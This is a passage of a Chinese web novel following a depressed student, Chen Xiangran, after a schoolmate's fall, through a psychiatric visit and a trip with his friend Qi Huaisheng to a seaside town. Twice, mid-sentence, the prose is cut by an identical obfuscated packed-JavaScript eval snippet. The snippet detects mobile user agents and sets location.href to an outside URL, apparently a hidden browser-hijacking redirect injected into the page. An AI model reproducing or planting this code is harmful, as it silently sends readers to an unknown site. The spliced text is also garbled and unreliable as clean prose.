陈向然问那将来想要用音乐做什么？ 他说不知道，他也许需要先学会闯荡和谋生。但他小时候最大的梦想就是当一个街头作曲家。 “你看看，我能实现么？”齐怀生挑着眉毛逗他。 “嗯……我看行。”陈向然摸摸下巴，佯装认真地打量他，“不过，当街头作曲家是个技术活。” “怎么说？” “如果不能艺考，就去走野路子，自己在网上直播，做视频，做音频，攒攒知名度。最后，最后是重点，找条门路，让公司把你包装成街头作曲家。” 齐怀生听罢大笑：“你果然很有趣，陈向然。”笑完又问：“喜欢我那些歌么？我是说风格，更宽泛的概念。” “很喜欢。”陈向然说，“会去搜索相同风格的喜欢。” “那你有耳福了。我们镇，因为日常用戏曲酬神祭祖，大多会乐器，曲子大部分是这种。你去了就会听到，街上、广场上，都是这种风格的……” 齐怀生描绘着老家的场景，陈向然要求听他再弹一首。一来二去，气氛渐渐暖融。 陈向然一时忘记了刚刚齐怀生的提议。 仿佛病痛因几串笑声便消散了一般…… 37. 叛逃 陈向然回到学校后墙，踩上大石块时发觉不对。他方才神志不清，忘了将玻璃碴安回原处。 这便罢了。 这条废弃窄路的唯一入口处，他特地用课桌将其封住，只要有人进入这里，课桌和墙面夹着的一张小小的便签纸就会掉落。而此时便签纸飞落在墙角的狗尾巴草上，被草根濡湿、破裂。 有人跟踪他。 猜不到有谁会到这里来，心里浮现的人首先是程希，他关系最好的舍友。因为他四下环顾，程希前些天掉下的塑料盆已经不见了，被捡走了。 他找到程希时，这人又在宿舍里小心翼翼地蘸颜料。 他的作业又要交不上了，但他倔强地没有找陈向然帮忙，自己一笔一划地涂画这次的选题“天空”。 陈向然拍拍他后背，他吓一跳，笔尖往边上一错…… “啊——”程希抱头惨叫。 “怎了？”陈向然蹲下身替他看画，“这不挺好的？” 惨叫声急转直下，最后宁息。程希端详了老半天，也没看出这突兀的一笔有啥好的。 陈向然拿过他的笔，轻轻修缮了一下，刚刚的乌龙笔便成了松散缱绻的流云。 “还得是你，然哥！”程希摇头惊叹，“你的作业让我瞧一眼呗，你看我都画这样了，不抄你的。” “我还没画。有好多题要做。”陈向然不经意地过渡了话题，“你脸盆捡回来了？” “啊，捡回来了。” “你一个人去捡？” “是啊。” 他心都提起来了：“那条路怎样？平时都没有人去。” “真的没有人去嘛？” 陈向然心里咯噔一下。 “嗯……你觉得有人？” “都把桌子摆成那样了，全部靠墙，整整齐齐哦。” 他说完这句，宿舍里便安静下来。 程希低头作画，一眼也没看他，画毕将画板平放在地上，画笔和调色盘用纸巾垫着放，将颜料罐一个一个拧上。 陈向然站在阳台门边，背着光，望着他黑白朦胧的背影。那背影左挪一下，右挪一寸，眼前的东西都十分小心地处理着。 红的蓝的颜料上蒙着苍白的天光。 “唉。” 他一出声，陈向然倏地回神。 “学艺术就是麻烦哎，又要洗东西。”程希一手拖着调色盘，盘上有两只鬃毛笔，另一只手扶着膝盖站起来。腿酸了，原地甩了好几下。 他转过身来，示意陈向然让出阳台门：“然哥，你打算什么时候完成作业？周末又要到了。” “什么到了？” “周末，绘画作业。” “我可以不画。”陈向然说，“熊大每次都让我在画室多画一幅，作业画不画都行。” 程希撇撇嘴：“真好啊。”他露出傻笑：“我爸总是说，我要是哪天能像你一样，他就去祖宗牌位前烧高香。” 陈向然无奈地弯弯眉梢：“你真的喜欢画画嘛？” “喜不喜欢都是要画的嘛。你喜欢高考嘛？不喜欢对吧。反正你现在是我的目标了，我只要赶上你就行了。” 那赶上以后呢？陈向然想。 “那……”他想起林岚常问他的，一个画画的将来能做什么？他问：“你以后想做什么？” “考公。”程希说，“我爸说了，只要学校够高，就多一份竞争力，学什么无所谓。” 他的这位朋友喜欢把“我爸说”挂在嘴边，似乎很有规划，又让人感觉，他人生中像是缺了点什么。陈向然不知道以后的某个时刻，他们同时想起少年时期的这些选择，会有什么想法。 自己会不会后悔一意孤行，而他又会不会后悔自己不曾活过。可转念一想，也许糊糊涂涂过下去才是正确的方式。他自己无法做到罢了，也许……他其实才是应该被修正的那个。 纪封道的家人来到了学校。 陈向然趴在座位上，听到教室里的、过路的，议论他没有母亲的事，也谈论他打人撤职的事。醒来时，体育委员正催促着大家下楼集合。有的人带上篮球，而他带上习题，准备上体育课。 纪封道就这么不在了，消失了，而人间的一切照常运转，没留下一点痕迹。陈向然凝望长长的教学楼走廊，这条走廊上从此少了一张熟悉的脸，还有千千万万张熟悉的脸来往穿梭。曾被人捧着、仰慕着的人，对大家而言也不过是那千万分之一。 人命就是如此轻薄。陈向然像一个锚点，一动不动地站在人来人往的走廊，心底里升起一阵难以言喻的悲哀。 而中年丧子的父亲红着眼睛大闹学校操场。体育课到了自由活动时间，陈向然蜷缩在操场边缘做题，倏然一颗篮球从彼处飞来，周围人纷纷躲过，正砸在他的头上。 陈向然扔下笔，揉着脑袋，起身往操场角落躲避。 “你们这些人，还有心情打球啊！是谁把我儿子弄到这个地步，都他妈自己站出来！”他两眼赤红，宛如发狂的野兽，又取一篮球用力砸向人群，“是谁！都他妈是谁！” 操场上一下空了，所有人扔下球，停止所有娱乐，战战兢兢地扎堆到几个角落。 “你们他妈这么多人，为什么没有人看住他？还有心情打球，打球……我让你们打球！” 学校保安来了，喝令男人停止闹腾。可是这个绝望的父亲像一个演着独角戏的小丑演员，大庭广众下彻底地崩溃爆发。陈向然不得不承认，亲眼见证坠楼惨剧的一瞬间，他对这个父亲生出过极致的痛恨，甚至将这种恨意对号入座在自己母亲身上。可此时对着这样一个苍老、空洞、无助的父亲，他无论如何都说不出“自作自受”几个字。 保安靠着强制带走了他。 接下来两周，纪封道那些不知从哪来的远房亲戚，睡在学校自习室的桌上，示威讨债。他们将家里的毯子、被褥带来，还带了自热粥饭、方便面、零食。每个人都皮肤黝黑，戴着遮阳的草帽，卷着裤脚，身上的白色汗衫或花衬衫被汗水濡湿，贴在身上。自习室不太通风，他们摇着蒲扇散去闷气。 他们以这样的方式，逼迫学校赔偿损失费。 “那都是些什么亲戚，脸上还能笑呢，不可思议。”程希在宿舍里不屑地嘀咕，“然哥你脑门儿好点没？” “还好。”陈向然用热毛巾捂着头。 最近出了事儿，学校里都变安静了，宿舍区、教学楼、校道上，所有人都默契地沉默了，只偶尔传来几声没忍住的抽泣和痛哭。 程希的上铺掩着嘴，皱着眉沉声说：“就他们，十几个人都准备瓜分百来万了，能不笑嘛？” “草，禽兽啊。人都不知道救过来没，直接当人死了？”程希喷着气音说。 “会不会真不行了？” “再说了，百来万是不是少了？我记得石川之前有一个，一百二十万呢。信海的年级第一啊，这么优秀，不给个两百万啊？” “咱学校都不花钱修热水器，你觉得能给多少？” 陈向然捂得差不多了，拿下毛巾，露出额上一块青紫。他到阳台取了热水，热了毛巾又捂上额头。 被砸了这么一下，好像心里的愧疚就会少一些。 他就站在阳台，不想进屋去听那些讨论。他人生中量化的数字已经够多，不想再听到一个少年的生命，因为“优秀”而被大人们决定，它就值百来万。 林岚这时候来了电话。 一接起来，就收到一大堆安慰的话。他听得云里雾里，几分钟后才明白林岚是因为纪封道的事情安慰他。 “我没事儿。”陈向然说。 “怎么会没事儿呢。妈妈不在你身边也可以随时关心你的。你要是需要妈妈，妈妈随时可以从公司去你们学校。” “不用了。” 林岚那头静默了一会，轻出一口气：“哎，现在大了，这么快不用妈妈了。没事儿的，男子汉有时候也需要安慰。不要让这些事影响了学习才是最重要的。对了，这学期的期末考试我大概向你们严老师打听了考试范围，我一会发在微信里。不过咱们做题还是要注重全面性啊，高考才是最重要的……” 陈向然从厕所天窗望见天上的白云。 生病……是一种怎样的病呢？他是不是也会迎来这样的结局？生命渺小到，只是一时影响他人学习的因素罢了。即便化作灰，化作别人生命中的一缕轻烟，还不如世界的一声叹息沉重。 他不重要。准军事化学校和林岚告诉他，至少他没有前途和“优秀”重要。 他这样想着。 他的鲸鱼来了，它也望见棉花一样的云团，云团的缝隙里是湛蓝湛蓝的天空。它脱离一直以来生活的深海，逃离了丑陋巨兽的追逐，飘上海面，欢快地吟唱了一声。 它想要飞翔。 …… “知道了吗？” “知道了。”陈向然答。 “这次期末很重要的。别看你们学校不分重点，其实凭这次期末就大致分班了，成绩好的分到更好的班主任，会带你们到高三的。所以咱们要努力呀，明白吗？你看人家刘永凡，永凡妈妈说他学习从来不需要人督促的。” “明白。” “那先这样，妈妈还有工作。” “嗯，再……” “见”还没说出来，对面“嘟”一声挂了电话。 他呆望了一会阳台外的天光，越来越苍白、刺目，他眯了眯眼，默默把手机从耳边放下来。 他拆开豆腐块被子，在一半日光、一半阴影中将就着午睡。 和纪封道有关的所有事，像个巨大的玻璃瓶，将他完全地罩起来了。他对林岚的唠叨只有无动于衷，心情再次如一潭死水，没有特别的感受。 于是平静而坚决地做了一个决定。 “你暑假回老家吗？” 陈向然蜷 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301956|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 缩在齐怀生家的长椅上，叶知送来的猫在他怀里安睡。 他叫它阿送。这个小东西比猪都懒，吃完就睡，睡醒了又喵喵要粮，翻滚柔软的身体，冲着陈向然的手臂就是一抓。被齐怀生拎起来臭骂，还张牙舞爪地挣扎，嚣张得很。 “石中六月期末考试，考完就可以回家。”齐怀生不顾它的叫喊，把它栓进猫窝里，“海中呢？也是六月？” 陈向然犹豫片刻，点了点头。 齐怀生拍拍手上的灰，说到时带他一起走。 “但是，”他话锋一转，“你要想跟我走，就先去医院看病，行么？” 陈向然想了一圈，答应得很快。 他其实耻于看病，因为在很多人看来，精神科永远与疯狂和不齿联系在一起。他不想被确诊，不想身上永远带着“不齿”的烙印。 所以他从未想过精神科会这样热闹。 人民医院门诊大楼的六楼，整一层都是精神科的区域，分为十来个诊室。候诊区人满为患，四处是憔悴、麻木、呆滞的患者。都是生活中不堪重负、心灵彻底破碎的人，绝望地抓住精神科这最后一根灵魂的救命稻草。 陈向然被牵往前台，齐怀生垫付了一百多块钱，让他做心理量表。测完后在候诊区等待叫号。 做完量表有些晕乎，他望着大荧幕上医生和患者的姓名，身前身后时不时跑过发作的患者，诊室门口传来家属痛哭和恳求的声音，和医生无奈的劝慰声。他轻轻捂住耳朵，耳边仍有千万灵魂在无声地哀鸣。 忽然听到齐怀生在跟候诊区那边的陌生人说话。 “打扰一下，请问，您儿子一直给这位郑医生看吗？”齐怀生问，“这个医生怎么样？” “那个……你不是患者吧？”那位中年女人仔细看了看他的脸。 “不，那边。”齐怀生指了个方向——陈向然正好抬起头来。 “噢，带弟弟来看啊？”那位中年女人探了探头，朝他望了一眼，“郑医生不错的。这老医生，比较有经验……” 谈着谈着，别处响起讲电话的声音，陈向然便听不到谈话了。 齐怀生回来了。 “我刚问了那边的患者。”齐怀生指了指候诊区那头中年女人，“她说药吃了就会有缓解，恢复精神。不怕。” 陈向然倚在他怀里，没有吱声。他坠落的时候，接住他的永远是齐怀生。齐怀生总是比他自己还要担心他，比……林岚还要心疼他。 广播叫了他的名字和室号。 两人一起进了诊室。大部分时候是齐怀生在替他描述症状，他很少说出自己的感受，只想快点拿到医院证明。 他不在乎自己病不病，也不在乎吃药能不能缓解，只是想借证明请假罢了。 于是石中期末考试那天，陈向然满学校奔跑，找相应的老师签名。 严霖辉惊诧地将证明看了一遍又一遍，嘴里“啊”、“哦”、“这样”，吐不出有意义的词句。而后观察了一下他冷淡的脸，别的话说不出，只能劝他好好休息，在下方的签名处签下“严霖辉”仨字。 班主任、宿管、政教处老廖……繁琐的签名程序就这么完成了。一个流程走下来，收获了一堆惊讶、不解又装作理解的目光。 他请了半个月的假，连着暑期，赌气一般彻底撒手，放弃了这次期末考试。 离开学校这天是个大晴天，天空是宝石一样剔透的蓝。枝梢的鸟雀吱吱叫着，扑棱从面前低空飞过。陈向然背着包、拉着行李箱到齐怀生家住了一晚。第二日清晨才坐车去往县里的港口码头。 “阿送怎么办？”陈向然看了眼猫——它正依依不舍地盘绕在他脚边。 “我让申恺下午来领走它。”齐怀生说。 “不行。”陈向然眉头都拧起来，“我不放心给他。我们带上它吧齐怀生，可以吗？” 齐怀生不情愿地和他对视良久，大眼瞪小眼，最后一声叹息，败下阵来，把猫粮收拾进鼓囊囊的背包里。陈向然满意地笑了，抱起阿送转了三圈。 清晨第一班公交车停在站前，是空车。陈向然坐窗边，抱着阿送，打开车窗，风猎猎吹过。吹得阿送的皮毛波澜起伏。它喵声钻进陈向然的衣服里，又从衣领钻出来。小爪子没轻重，又在他下巴上挠了一下。 “欠收拾……”齐怀生强硬地把它捉出来，拍打两下算作惩罚，栓上了绳子。 直到车驶出居民区，来到县中心，天边才渐渐浮现朝霞。霞光中的海水金光灿烂，客轮从朦胧的晨光里驶来，靠岸。 他们拉着行李走向码头，踏上轮船。 船呜呜开出去时，陈向然回头，背对着海风，头发吹到了脸上。他看见那个地方离自己越来越远，林岚所在的那栋参天大楼也渐渐缩成牙签大小。 他忽然像是恢复了气力，跑到甲板边缘，趴在船舷上迎风呼吸。 他终于和齐怀生逃离了这片禁锢之地。 38. 古镇 陈向然走上客轮二层时，暖融融的朝霞渐渐明亮，从天际迸泄，映红了整个海面。今日起得早，过海时仍能看到日出。日轮经过海水的浸泡洗礼，像一颗从汤里捞起来的巨大丸子，从海平线缓缓升上天空。 陈向然趴着船舷，温暖明亮的橙黄光晕蒙住视线。他舒服又困倦，却不忍错过这样的日出奇景，便支撑着眼皮，沉浸在朦朦胧胧的天光中。 轮船慢悠悠地行驶，海浪哗哗地拍打船身。 身后两步，齐怀生坐在客轮的长椅上，神情愉悦。他伸出脚碰碰陈向然的鞋跟：“累就睡，肩膀在这。” “快到了吧？”陈向然望着渐渐靠近的对岸。 “下了船还要坐车，还早。”齐怀生扯开一个塑料袋，从里面掏东西，“来，吃点东西。” 陈向然坐在他身边，把他整袋都薅过来，从袋子里搜出一个蛋黄派，递给他。他正要接，陈向然“嗖”一下收回，佯装无辜的模样，把整袋子零食抱怀里，不还他了。 齐怀生眯眼片刻，决定不饶他，火速伸出长手。陈向然早有防备，朝后一躲，却忘了身高差距。他怎么都躲不过齐怀生的魔爪，蛋黄派注定要被敌方俘虏。紧接着齐怀生撕开包装，把派塞到他嘴里。 “自己拿着。”他扶着包装袋，忍不住露笑。 “唔唔……”陈向然接过派，嘴里香喷喷地咀嚼，才终于老实了。 轮船靠近码头时，天光白亮，世界在阳光下复苏。对岸景色荒凉，附近是一片开发地，还没有楼房，只有荒草和杂乱的树木。延海岸线行走两里路，到本地的高铁站，才顺利拦到一辆出租车。 端午过后，盛夏到来的痕迹渐渐蔓延到大街小巷。绿树成荫，沿海地区空气咸腥黏腻，路边的茉莉幽香钻进车里，气味清新微涩。沿路山壁逐渐变成小镇街区，变成各种海鲜大排档。 小镇的标志性入口是一个简单的石门，上面用行楷体写着红底灰字的“塘泽”两字。陈向然遮着阳光，无神地望着眼前纵横的街巷。 行李箱的轮子骨碌碌滚在青石板路上。 这里和记忆中老家的一切重叠在一起。那个曾经存在于海浪边的小镇，那些眼花缭乱的倒“福”红纸，玫红色的、印着财神爷的果盘，院子里硕大的柑橘，街头巷尾的祠堂和檀香烟气，梦里梦外时光倒流，倒下的老墙重新筑成旧瓦房，青藤低垂，候鸟回归，心里的某处仿佛活过来了、醒过来了一般。 齐怀生向他介绍：“喏，中间这条长兴街，我家就在一条巷里。左边是德安街，右边还有条三溪街。” 陈向然游客一样左顾右盼，双手交替拉着行李箱拉杆，几乎转着圈走路。 他有时候想象不到，眼前这个人和自己有多少紧密相连的命运。 “走，去放行李。我家人都很欢迎你。”齐怀生说，“过几天找个下午，带你去中心广场，有好戏看。” 齐怀生家有个院子，三两枝四季桂从墙头垂下，院里几盆月季，放在廊下朝阳处，花瓣是新鲜舒展的红色。陈向然推开院门，院子里有人浇过花，却没有人。地上湿漉漉的，踩上去发出“滋”、“滋”的音节。 齐卫平不在，这个时间大概在海上，或在码头售卖刚捕来的海鱼。 “阿嬷，我回来了！”齐怀生长腿一迈，三两步跨进客厅，陈向然尾随其后，走进整个建筑的中厅。 客厅里都是老式的木制家具，花梨木，有些年头了。老电风扇呜呜摇着头，陈旧的扇叶沾了灰，啪嗒啪嗒地转着，勉强驱散粘腻闷热的空气。奶奶在摇椅上轻轻摇晃，蒲扇慢悠悠地摆动，眼睛盯着电视里咿咿呀呀的唱曲。 “回来啦？”奶奶缓慢说着。 齐怀生在摇椅旁半蹲下来，把奶奶的手握在掌中搓揉——奶奶八十有余，脸上却颇有精神气，一头花白银丝，肤色白而红润。手里轻轻转着珠串。 他说：“阿嬷，我带了人回来。” 奶奶笑起来，天光落在她白皙的脸颊上，眉眼弯弯，看不清浑浊的瞳仁。老人家光顾着看孙子，蒲扇都忘了摇：“什么人呀？” “奶奶好。”陈向然也跟着蹲下来。 “哎。”奶奶眼里冒出一丝光亮，伸出带着褐斑和皱纹的手，摸摸陈向然的脑袋和脸，“后生仔真俊诶——” “天哪怎么回来了？”一个高高瘦瘦的圆脸女人匆匆从厨房里出来，围着围裙，手上端了一盘带着湿腥气的葱姜。 奶奶缓慢地侧过头：“不是阿平。” “姑。”齐怀生站起来看向女人。 “阿生啊，还有这个阿弟……哟可吓死我了，还以为你爸被人送回来咧。早上他出去的时候就说不舒服，让他今天别去了他又给我溜没影了……” 姑姑机关枪一样地叨叨。陈向然听出来了，“送回来”说的是在外出事，被同僚送回家来了。齐怀生这个姑姑说起自己的兄长也是毫不客气，看得出兄妹感情不错。直到奶奶生气了，蒲扇作棍敲打自己女儿：“胡说什么，不吉利的话少说！” 姑姑一个甩头，大踏步进了厨房。齐怀生便挂着勉强的笑容抱抱奶奶，劝老人家息怒。 齐怀生说，姑姑终身未嫁，高中肄业后一边在绣花厂打工，一边在家照顾奶奶。齐卫平则年轻时候在石川买了那套七十平米的小房，但为了打渔作业，几十年如一日在海上漂流。奶奶身体康健，看上去比儿子都精神。 奶奶和姑姑隔着一间屋子互相拌嘴，齐怀生抱着奶奶看热闹，电视里正唱着《陈三五娘》，锣钹铿锵。陈向然看着这个家，心里一点点被填满，眉眼微弯。 阿送自己跑到廊下，蜷缩在暖烘烘的阳光里，张开粉色的小嘴巴打了个哈欠。 微风徐徐，藤叶轻飘。 客厅左右各开两门，分别通往东西两个厢房。东厢房又作两间屋，连着杂物间，杂物间的门对着院子敞开。西厢房则连着厨房，一根大烟囱从方寸厨间直戳天穹。 “你家格局和我家真像。”陈向然挡挡阳光，眺望院墙上方的群山剪影，“离我家也很近。” “那我们算半个老乡。”齐怀生勾勾嘴角，拍拍东厢房的四折木门，“来这间，你跟我睡。” 陈向然拖拽着箱子和背包，吃力地跨进三十公分高的门槛。 齐怀生的房间不算宽敞，光线也不亮堂，床勉强够两人睡。阿送喵呜喵呜地爬进门来，嗅闻着走向一个软乎的宠物窝——里面有齐怀生刚倒的猫粮。 齐怀生说这个窝是小时候叶知养猫用的。那时镇上流浪猫多，宠物都是捡来的。别人挑健康听话的捡，她倒抱回来一只凶的，还伤了条腿。她话少，但看得出很宝贝那只猫，只是它的年纪太大了，母亲离世后不久它也走了。她一直惦记着再养一只。 “那，怎么把猫送来了？”陈向然问。 “我姨父不让养。表弟猫毛过敏。”齐怀生蹲下去，挠挠阿送的头顶。 “那……让她有空就来看看阿送。”陈向然四处走，摸摸老式的面盆架，上方的木杆撂着两人的毛巾。摸摸梨花木书桌，和桌上干得发白的毛笔和砚台：“中心广场有什么好戏？” “木偶戏。”齐怀生说，“我小时候常看。但那时候小，听不懂戏。别的小孩摸木偶玩，我就坐在下面听伴奏，分辨乐器。” “好玩儿么？” “我小时候唯一的乐趣了。” 齐怀生拿了扫帚和抹布打算打扫一下房间，手在桌子上一抹，干干净净，一尘不染。齐卫平知道他回来，早就替他整理好房间了。 他默默放下打扫工具：“曲儿听多了，就突然想搞一首自己的歌。后来我爸给我买电脑，我才知道一些谱曲软件。” “你带了琴吗？”陈向然问。 “嗯，想听歌啊？” 陈向然用力点头。 于是齐怀生和他坐在床沿边，恶作剧般弹了一曲。他用吉他弹了戏曲的旋律，左手摁弦压出高音，诡异至极。只坚持了一段，陈向然就捂起了耳朵。 齐怀生自己也弹不下去了，止曲而笑。 “这是什么？”陈向然自诩小时候也是听戏曲长大的，压根没听出这是哪一出。 “梨园戏的《四郎探母》吉他版伴奏。”齐怀生说，“一个邻居小时候改编的。后来被戏班修饰了一下，拿去演出了。” 午间阳光正好，檐角挑弄着光束，熠熠闪动。 他们来到院子里，有张圆桌，再牵来两张椅子，暖白的阳光拢住了整个院落。齐怀生弹着琴，陈向然彩铅作画，就这么过了一个下午。 仲夏之初的塘泽，到了夜晚蝉鸣如潮汐，藏在茂密的枝叶之后，簌簌起伏翻涌。 长兴街亮起绵长的灯火，沿街十里炊烟弥漫。餐店、摊贩、推车充满了整条街，家家户户锅勺碰撞。陈向然拉着齐怀生 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16301957|182790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在青石板路上小跑，馋路边的各色面包、糕点、糯米，还有用各种调料配料蒸煮焖炖的海鲜，沿路飘香。有村口路过的游客进来享受当地特产。 他爱上了这里的烟火气，站在热闹里看花了眼。最后只好眼巴巴看向齐怀生，要他决定吃哪一家。 齐怀生斜眼看他，轻轻叩了他一个脑瓜蹦，把他拉进一家饭店。 店主人是齐怀生的老相识，许久不见，一定要请他们吃店里的新菜品，盛情难却。齐怀生只好给他点了一份卤味盖饭，自己要了一盘海鲜炒饭。 陈向然用勺子轻轻搅动盖饭，酱汁和饭菜热气腾腾地拌到一起。入口微烫，呵出的热气里飘散着此时此刻的幸福。他吃着盘里的，看着别人盘里的。好像别人的总归是比自己的香。 齐怀生还没开动，又看穿他想干嘛，把炒饭移到他面前：“交换尝点？” 陈向然塞进嘴里的勺子顿了一下，看向那份炒饭。 齐怀生这份看着的确更吸引人。炒饭上覆盖了大量的紫菜碎，吞拿鱼和炒鸡蛋散落在饭粒之间。瓷盘边缘摆放两只完整的墨鱼仔，渗透出来的墨汁像是在炒饭上画了一幅山水图，黑色的是山影，剩下的是留白的水域。 陈向然几秒钟内走完了脑海中的幻想，夹走一只墨鱼仔。一口咬下去，酱油和墨汁混合在口中。嘴巴黑乎乎的，像长了一圈小胡子。 阿送扭动它的猫尾巴，“喵——”地发出取悦的声音。陈向然用塑料勺子蘸一点墨汁让它舔舐，它也糊了一嘴墨黑，成了一只花猫。 “两只花猫。”齐怀生瞥了一眼，面无表情地逗人。 “你才猫。” 陈向然抽了纸巾抹嘴，让齐怀生给他当镜子，但不管他怎么擦，齐怀生依然说：“还是黑的。” “骗我吧。” “不骗你。一会回去再洗吧，花猫。” 阿送也黑着一圈嘴，发出“喵”的抗议。 “你看。”齐怀生朝阿送抬抬下巴，“你都不给它擦擦，人家不愿意了。” “……” “喵——” 他们在人流不息的街上追逐游荡，从街尾蜿蜒到街头，奔跑着穿越一片荒草地。浅淡的银河从头顶划过，海风的味道逐渐扑来。陈向然听见了海潮声，不远处就是大海。 月如钩弦高挂于海平线上，海面泛着粼粼微光。今夜月光黯淡，海上最明亮的光源竟是海堤尽头的灯塔。塘泽的打更人携一张塑料椅坐在塔上，守着那盏巨大的灯。这盏灯将彻夜照亮漂流者回家的路。 “那边可以去吗？”陈向然远远指着海堤。 “可以。但要注意安全。” 海堤千米之长，宽仅三米，沿堤几米一个铁钩，固定一张张杂乱粗糙的渔网。他们在夜阑月色下漫步，向海中央走去。陈向然喜欢夏日晚间凉爽的空气，张开手拥抱了一下风。 不知不觉来到塔下，仰头望向塔顶。 巨大的光束破开黑暗，射向养殖场乃至外海。长堤背光，仍旧漆黑一片，只借弦月的一丝光亮勉强看见前方几米路。灯塔下更是伸手不见五指。陈向然像个瞎子一样伸手探路，还是不小心撞上了塔壁。 然后齐怀生撞上了他。 忽地感觉背后热烘起来，海风的腥咸气一下被檀香气取代，齐怀生刹那将他压在墙上，两手立即撑墙起身，正好把他围住：“没事吧？撞到了？” “没……”陈向然倏地转身，又磕上齐怀生的脑门。 两人同时惨叫一声，蹲在长堤上，捂着撞疼的地方。眼睛渐渐适应了黑暗，对方狼狈的姿态映入眼帘，一时错愕。 莫名同时笑出来，在长堤的尽头，在这片巨大的、荧黑的海域中央，笑声散在浪潮和夜风中。 陈向然笑着说：“阿送也应该来看看。” “不急，还有很多天。下次可以白天来。”齐怀生低头望着下方的黑色水域，浪潮不停拍打长堤。 “我喜欢这里。”陈向然张开嘴，含着猎猎海风，他很久没有这样开心，这样充满气力地冲着远方喊，“像回家了一样。” “只要你乐意，这里就是你家。” 齐怀生凝视着他，眼睛在夜色中泛着极微弱的光泽，笃定又复杂。陈向然与他相觑良久，没有读懂这样的神色，但还是回以微弱的笑容。 就听他轻声补上一句：“我在的地方就是你的家。” 39. 争吵 陈向然没听清最后一句，在风里高声问：“你说什么？” “我说，”齐怀生垂了垂眼帘，“我家就是你家，行吧？” 陈向然怔了一秒，笑了：“好。” 他们在海上相视一笑。 阿送也走了一遍千里长堤，在一个明媚灿烂的上午。海水是青蓝色的，一眼望去粼光闪闪。阳光驱散薄雾，能望见远处渔船来往。大船放下小舟，小舟行驶到捕捞点撒开大网，过一会收起网来，就能看到跳跃的、银光烁烁的鱼堆。 阿送舒展一身皮毛，晒着太阳，冲鱼群惬意地“喵”叫，发出想吃的声音。 “今晚吃海鲜。”陈向然提议，“可以么？” 齐怀生嫌弃地拧眉看他：“吃好几天了，你不腻啊？” “你看它，老盯着鱼。”陈向然抓着它两个前肢，“我不拦着它要跳下去了。” 毕竟自家特产，从小吃到大，早就没有新鲜感。这几天为了陪某个少爷，齐怀生吃鱼都快吃吐了，听到这话哭笑不得：“你知道有些父母想玩滑梯的时候会怎样吗？” “怎样？” “说陪小孩玩。哪怕小孩都快睡着了。”齐怀生把阿送抢回怀里，胸口被软软的肉球蹬了好几脚，“你刚刚的行为就跟这些父母差不多，知道吗？” “意思是今晚去吃海鲜吗？”陈向然咧嘴假笑。 “……”齐怀生彻底败给他了，“嗯，吃。” 在塘泽大约有几天时光了，陈向然几乎没见过齐卫平着家。只在晚上夜深人静时听到院子里的响动。他起了床——轻轻拿开齐怀生缠绕在腰腹上的手臂，给他掖好被子，蹑手蹑脚地去洗手间。 在厢房门口看到齐卫平捂着胃腹，颤巍巍走进客厅。海产的腥味钻入鼻腔，他意识到这个人才刚刚从海上归来，也许黎明时分，他又会离开沉睡的古镇，驱船出海。 上完洗手间，他又躺回床上，跟熟睡的齐怀生挤在一起。 他是睁着眼到深夜的，一如既往，依旧睡不着。精神类药物躺在书包里不见光，他一直藏在最底部的角落里。 他一颗都没有吃过。 好像只要不拿出来，忘记它们，他就不是一个精神病人，不是一个别人眼中避之不及的洪水猛兽。或许他就是没有病的，他只是坏、不听劝，只是个不想学习、逃避考试的懒鬼。 月光幽幽地披在门槛上，尘埃在花梨木家具上漂浮。天气热，两人的汗渍沾在竹席上，凉丝丝，又黏糊糊的。陈向然趴在齐怀生身边，轻轻抚平他蹙起的眉心。他很想把压在心上的疑虑告诉齐怀生，却害怕知道齐怀生有什么反应。 长夜漫漫，他或许拥有过几十分钟的睡眠，但醒来后盯着屋顶房梁，再也没有睡着。 一看手机，依然是印在骨子里的凌晨四点多钟。 早上七八点钟，他装作刚刚醒来的模样，被齐怀生从床上捞起来。说装也不全是装，彻夜不眠，到了白天仿佛昏死一样的困倦。齐怀生刚刚撒手，他就瘫倒在人家身上。 “还不起？”齐怀生抓抓他的脑袋。 他摇摇头，像是蹭了两下，脸从肩上挪到胸膛上，以一种扭曲的姿势睡着了。 “扑通”、“扑通”，他听见齐怀生有规律的心跳。 胸口的震动敲得他的脑袋一阵阵眩晕。齐怀生不知保持了这个姿势多久，记忆中他是在他身上睡去的。 他不知道自己睡了多久，只记得做了一个短暂的梦。梦里他是一只关在笼中的雀儿，挣断锁链，撞开笼门，飞跃而出，它战战兢兢又伤痕累累地迎接自由的山林，却又不断回望曾经的囚笼。 梦境混乱无序，他好像在天空上，在枝头、在月光跳动的溪石上，栏杆的黑影却将眼前的光景分割，直到梦的结尾，囚笼的影子都没有散去。 那个囚笼那么熟悉，比他获得的一切自由河山更加熟悉……熟悉的东西总是莫名地将人吸引。 他的梦被吵架声打断了。 “这败家东西……” 客厅里接连四声铁线崩断的声音，紧接着砰一声，不知道什么东西砸了。再是轰隆，不知哪张桌子被掀翻了，有玻璃器皿碎在地上。 陈向然猛一睁眼。 “怎么啦怎么啦？”姑姑从西厢房出来，“东西是自家的，别拿来撒气啊。” 齐怀生像头撒野的小狼，恶狠狠地盯着父亲，用力丢掉一块断裂的木头，吉他奄奄一息地躺在他脚边，“你他妈除了翻旧账，还能干嘛？” “给你砸了就修，是吧？说！修这破东西花了多少钱？老子累死累活，你在那头逍遥自在” 